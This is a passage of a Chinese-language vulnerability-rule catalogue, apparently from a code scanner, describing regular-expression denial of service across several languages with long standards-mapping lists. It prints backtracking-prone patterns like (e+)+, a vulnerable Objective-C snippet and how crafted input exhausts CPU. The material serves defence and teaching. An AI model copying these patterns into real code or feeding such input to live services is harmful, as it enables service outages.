[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.javascript.denial_of_service_regular_expression
Abstract
不可信賴的資料會傳遞到應用程式並做為規則運算式使用。如此將會導致執行緒過度消耗 CPU 資源。
Explanation
在規則運算式評估程式及相關方法的實作中存在弱點,針對包含會自行重複之群組運算式的規則運算式進行評估時,該弱點可能會導致執行緒當機。此外,任何包含替代子運算式的規則運算式,若替代子運算式彼此重疊,則規則運算式也可能會被利用。攻擊者可使用此瑕疵執行 Denial of Service (DoS) 攻擊。
範例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

目前沒有已知的規則運算式實作對此弱點免疫。所有平台和語言都會受到此類攻擊。
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] IDS08-J. Sanitize untrusted data included in a regular expression CERT
[3] DOS-1: Beware of activities that may use disproportionate resources Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 185, CWE ID 730
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.kotlin.denial_of_service_regular_expression
Abstract
不可信賴的資料會傳遞到應用程式並做為規則運算式使用。如此將會導致執行緒過度消耗 CPU 資源。
Explanation
在規則運算式評估程式及相關方法的實作中存在弱點,針對包含會自行重複之群組運算式的規則運算式進行評估時,該弱點可能會導致執行緒當機。此外,任何包含替代子運算式的規則運算式,若替代子運算式彼此重疊,則規則運算式也可能會被利用。這個瑕疵可以用來執行 Denial of Service (DoS) 攻擊。
範例 1:如果以下規則運算式用於已識別的易受攻擊的程式碼,則可能會發生阻斷服務:

(e+)+
([a-zA-Z]+)*
(e|ee)+


依賴有瑕疵之一般表示式的問題程式碼範例:


NSString *regex = @"^(e+)+$";
NSPredicate *pred = [NSPRedicate predicateWithFormat:@"SELF MATCHES %@", regex];
if ([pred evaluateWithObject:mystring]) {
//do something
}


大多數規則運算式剖析器都會在評估規則運算式時建立 Nondeterministic Finite Automaton (NFA) 結構。NFA 會嘗試所有可能的組合,直到找到完整組合為止。以前述範例而言,如果攻擊者提供了組合字串「eeeeZ」,則 regex 必須通過 16 種內部評估以識別該組合。如果攻擊者提供的組合字串有 16 個「e」(「eeeeeeeeeeeeeeeeZ」),那麼 regex 解析器就必須進行 65536 (2^16) 組評估。攻擊者可能輕易地藉由提高連續符合字元數來耗用計算資源。目前沒有已知的規則運算式實作對此弱點免疫。所有平台和語言都會受到此類攻擊。
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] Standards Mapping - Common Weakness Enumeration CWE ID 185, CWE ID 730
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.objc.denial_of_service_regular_expression
Abstract
不可信賴的資料會傳遞到應用程式並做為規則運算式使用。如此將會導致執行緒過度消耗 CPU 資源。
Explanation
在規則運算式評估程式及相關方法的實作中存在弱點,針對包含會自行重複之群組運算式的規則運算式進行評估時,該弱點可能會導致執行緒當機。此外,任何包含替代子運算式的規則運算式,若替代子運算式彼此重疊,則規則運算式也可能會被利用。這個瑕疵可以用來執行 Denial of Service (DoS) 攻擊。
範例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

目前沒有已知的規則運算式實作對此弱點免疫。所有平台和語言都會受到此類攻擊。
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] Standards Mapping - Common Weakness Enumeration CWE ID 185, CWE ID 730
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.php.denial_of_service_regular_expression
Abstract
不可信賴的資料會傳遞到應用程式並做為規則運算式使用。 如此將會導致執行緒過度消耗 CPU 資源。
Explanation
在規則運算式評估程式及相關方法的實作中存在弱點,針對包含會自行重複之群組運算式的規則運算式進行評估時,該弱點可能會導致執行緒當機。 此外,任何包含替代子運算式的規則運算式,若替代子運算式彼此重疊,則規則運算式也可能會被利用。 這個瑕疵可以用來執行 Denial of Service (DoS) 攻擊。
範例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

目前沒有已知的規則運算式實作對此弱點免疫。 所有平台和語言都會受到此類攻擊。
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] Standards Mapping - Common Weakness Enumeration CWE ID 185, CWE ID 730
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.python.denial_of_service_regular_expression
Abstract
不可信賴的資料會傳送到應用程式並做為一般表示式使用。如此將會導致執行緒過度消耗 CPU 資源。
Explanation
在一般表示式評估程式及相關方法的實作中存在弱點,針對巢狀與重複的 Regex 群組評估其重複與交替重疊時,該弱點可能會導致執行緒當機。這個瑕疵可以用來執行阻斷服務 (DoS) 攻擊。
範例 1:

(e+)+
([a-zA-Z]+)*

目前沒有已知的規則運算式實作對此弱點免疫。所有平台和語言都會受到此類攻擊。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 185, CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[4] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[5] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[6] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[7] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[42] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.ruby.denial_of_service_reqular_expression
Abstract
不可信賴的資料會傳遞到應用程式並做為規則運算式使用。如此將會導致執行緒過度消耗 CPU 資源。
Explanation
在規則運算式評估程式及相關方法的實作中存在弱點,針對包含會自行重複之群組運算式的規則運算式進行評估時,該弱點可能會導致執行緒當機。此外,任何包含替代子運算式的規則運算式,若替代子運算式彼此重疊,則規則運算式也可能會被利用。這個瑕疵可以用來執行 Denial of Service (DoS) 攻擊。
範例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

目前沒有已知的規則運算式實作對此弱點免疫。所有平台和語言都會受到此類攻擊。
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] IDS08-J. Sanitize untrusted data included in a regular expression CERT
[3] DOS-1: Beware of activities that may use disproportionate resources Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 185, CWE ID 730
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.scala.denial_of_service_regular_expression
